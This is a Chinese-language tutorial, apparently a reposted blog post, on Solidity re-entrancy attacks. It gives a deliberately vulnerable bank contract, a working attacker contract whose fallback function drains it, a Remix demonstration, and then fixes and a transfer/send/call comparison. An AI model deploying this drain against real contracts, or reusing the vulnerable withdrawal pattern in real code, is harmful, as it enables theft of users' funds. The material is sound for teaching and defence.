重入攻击
以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时,以太坊的转账不仅局限于外部账户,合约账户同样可以拥有Ether,并进行转账等操作。
向以太坊合约账户进行转账,发送Ether的时候,会执行合约账户对应合约代码的回调函数(fallback)。
一旦向被攻击者劫持的合约地址发起转账操作,迫使执行攻击合约的回调函数,回调函数中包含回调自身代码,将会导致代码执行“重新进入”合约。这种合约漏洞,被称为重入漏攻击Re-Entrancy。
示例代码
银行存定期的例子。
bank.sol
pragma solidity >=0.4.22 <0.6.0;
contract Bank {
// 银行账户信息
mapping(address => uint256) public usersinfo;
// 用户存钱,保存到usersinfo
function save() public payable returns (uint256){
require(msg.value>0);
usersinfo[msg.sender]=usersinfo[msg.sender]+ msg.value;
return usersinfo[msg.sender];
}
// 显示账户余额
function showBalance(address addr) public view returns(uint256){
return usersinfo[addr];
}
// 显示总账户余额,测试使用
function showTotalBalance() public view returns(uint256){
return address(this).balance;
}
// 用户提现
function withdrawal() public payable{
// 判断是否到期,或者是否锁定等。
// require(now>saveTime+10)
uint amount = usersinfo[msg.sender];
// 账户有钱才提现
if(amount>0){
msg.sender.call.value(amount)("");
usersinfo[msg.sender]=0;
}
}
function() external payable{}
}
由于合约也是一个账户,我们可以使用 **合约到银行去开户存钱**
hack.sol`
pragma solidity >=0.4.22 <0.6.0;
import "./bank.sol";
contract Hack {
// 银行实例
Bank public bank;
// 调用栈,次数过大会异常
uint256 public stack=0;
// 构造函数
constructor(address payable _bankAddr) public payable{
bank = Bank(_bankAddr);
}
// 到银行存钱
function bankSave() public payable returns (uint256){
return bank.save.value(1 ether)();
}
// 显示账户余额
function showBalance()public view returns (uint256){
return address(this).balance;
}
// 拿回自己合约的钱,当然这里可以加权限,onlyHacker,只有黑客可以提现
function collectEther() public {
msg.sender.transfer(address(this).balance);
}
// 到银行提现
function withdrawal() public {
bank.withdrawal();
}
// fallback函数,
function() external payable{
stack += 1;
if(msg.sender.balance >=1 ether && stack < 200){
// 如有有钱就提现
bank.withdrawal();
}
}
}
详细流程
为了方便部署演示,这里使用remix编辑器,初始化5个账户,每个账户100eth
使用账户1部署,得到合约地址,并存入银行10eth,并使用账户2、3、4分别存入10 eth。此时银行账户总额40eth
部署攻击合约
使用账户5 作为黑客,拿到合约地址0x692…,作为参数部署自己的hack合约hack.sol
contract Hack {
// 银行实例
Bank public bank;
// 构造函数
constructor(address payable _bankAddr) public payable{
bank = Bank(_bankAddr);
}
}
调用攻击方法
调用银行存钱 方法 存入2eth(其中1 eth到hack合约账户,1eth到达银行账户)
// 存入银行
function bankSave() public payable returns (uint256){
return bank.save.value(1 ether)();
}
此时银行账户总额41 eth
重入攻击
withdrawal调用,账户5的余额变为140 eth。
调用withdrawal 函数,进行银行提现,由于本账户为合约账户,当银行发送以太币的时候会自动调用 fallback函数。
在fallback中,又进行了银行的提现。导致重复提现,直至银行账户清。
// 提现
function withdrawal() public {
bank.withdrawal();
}
// fallback函数,
function() external payable{
stack += 1;
if(msg.sender.balance >=1 ether && stack < 200){
// 如有有钱就提现
bank.withdrawal();
}
}
重入攻击避免
- checks-effects模式,即检查兽先修改状态,后发起转账交易,如果失败则回滚状态,或者手动处理
bank.sol
function withdrawal() public payable{
uint amount = usersinfo[msg.sender];
if(amount>0){
// 清空账户信息,如果下次调用,amount=0,不会进入if
usersinfo[msg.sender]=0;
msg.sender.call.value(amount)("");
// usersinfo[msg.sender]=0;
}
}
这里还有一个问题,就是如果提现失败(call.value),交易并不会回滚,此时usersinfo[msg.sender]已清空
修改2
function withdrawal() public payable{
uint amount = usersinfo[msg.sender];
if(amount>0){
// 清空账户信息,如果下次调用,amount=0,不会进入if
usersinfo[msg.sender]=0;
if (msg.sender.call.value(amount)("")== false){
usersinfo[msg.sender]=amount;
// emit 发送提现消息事件
}
}
}
- 使用send ,transfer 转账时只有2300个gas,不⾜以⽀撑第⼆次交易
- 使用最近的solidity编译版本,新版本一般会过期非安全的函数及变量
其他安全防范
边界检测 溢出(使用安全 safemath库)
变量可见性
tx.originx等
https://blog.csdn.net/bondsui/article/details/88097119
send transfer call区别
-
address.transfer()
throws on failure
forwards 2,300 gas stipend (not adjustable), safe against reentrancy
should be used in most cases as it’s the safest way to send ether // 仅转账,不处理失败时 -
address.send()
returns false on failure // 不会抛出异常,如果失败返回错误
forwards 2,300 gas stipend (not adjustable), safe against reentrancy // 2300 gas安全
should be used in rare cases when you want to handle failure in the contract 如果需要处理失败时,如游戏开发中常用send -
address.call.value().gas()()
returns false on failure
forwards all available gas (adjustable), not safe against reentrancy // 转发all gas,不安全
should be used when you need to control how much gas to forward when sending ether or to call a function of another contract
注意:当send()调用消耗掉所有的gas时,它也不会抛出异常,只是返回false。
转载:https://blog.csdn.net/bondsui/article/details/88398700